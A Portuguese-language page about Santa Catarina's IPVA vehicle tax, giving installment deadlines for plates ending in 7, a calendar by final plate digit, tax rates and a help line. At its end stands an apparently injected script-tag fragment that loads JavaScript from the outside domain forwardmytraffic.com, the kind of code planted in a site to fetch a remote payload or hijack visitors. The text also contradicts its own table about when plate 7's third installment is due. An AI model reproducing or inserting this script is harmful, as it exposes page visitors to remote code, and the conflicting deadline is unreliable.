Proprietários de veículos com placa final 7 que quiserem pagar o imposto em três vezes sem juros, devem efetuar o pagamento da primeira parcela até terça-feira, 10. As demais parcelas têm vencimento no dia 10 dos meses seguintes, nesse caso, agosto e setembro. O prazo para pagamento em cota única é 31 de julho. Dia 10 deste mês também vencem a segunda parcela do IPVA de veículos com placa final 6 e terceira parcela para final 7.
Os vencimentos dependem do final da placa do veículo, mas os contribuintes podem antecipar o pagamento a qualquer momento. A guia de pagamento, taxas, multas e seguro DPVAT podem ser emitidos na internet e paga nas agências bancárias conveniadas: Banco do Brasil, Bradesco, Itaú, Santander, Caixa Econômica Federal, Sistema Bancoob/Sicoob, HSBC, Sicredi e Cecred.
A quitação é um dos requisitos para licenciar o veículo. O não pagamento também implica em Notificação Fiscal, com multa de 50% do valor devido, mais juros SELIC ao mês ou fração. Para saber qual o valor do IPVA do seu carro, acesse a tabela disponível no site da Secretaria da
Fazenda, clicando aqui.
Para pagar, clique aqui.
CALENDÁRIO DE PAGAMENTO
FINAL DE PLACA | COTA ÚNICA | PARCELAMENTO-COTAS | ||
1ª | 2ª | 3ª | ||
1 | último dia do mês de janeiro | 10.01 | 10.02 | 10.03 |
2 | último dia do mês de fevereiro | 10.02 | 10.03 | 10.04 |
3 | último dia do mês de março | 10.03 | 10.04 | 10.05 |
4 | último dia do mês de abril | 10.04 | 10.05 | 10.06 |
5 | último dia do mês de maio | 10.05 | 10.06 | 10.07 |
6 | último dia do mês de junho | 10.06 | 10.07 | 10.08 |
7 | último dia do mês de julho | 10.07 | 10.08 | 10.09 |
8 | último dia do mês de agosto | 10.08 | 10.09 | 10.10 |
9 | último dia do mês de setembro | 10.09 | 10.10 | 10.11 |
0 | último dia do mês de outubro | 10.10 | 10.11 | 10.12 |
IPVA SC – Alíquotas vigentes
- 2% para veículos de passeio, utilitários e motor-casa, nacionais ou estrangeiros;
- 1% para veículos de duas ou três rodas e os de transporte de carga ou passageiros (coletivos), nacionais ou estrangeiros;
- 1% para veículos destinados à locação, de propriedade de locadoras de veículos ou por elas arrendados mediante contrato de arrendamento mercantil.
Caso tenha dúvidas, entre em contato com a Central de Atendimento Fazendária neste linkou pelo telefone 0300-645-1515…. src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>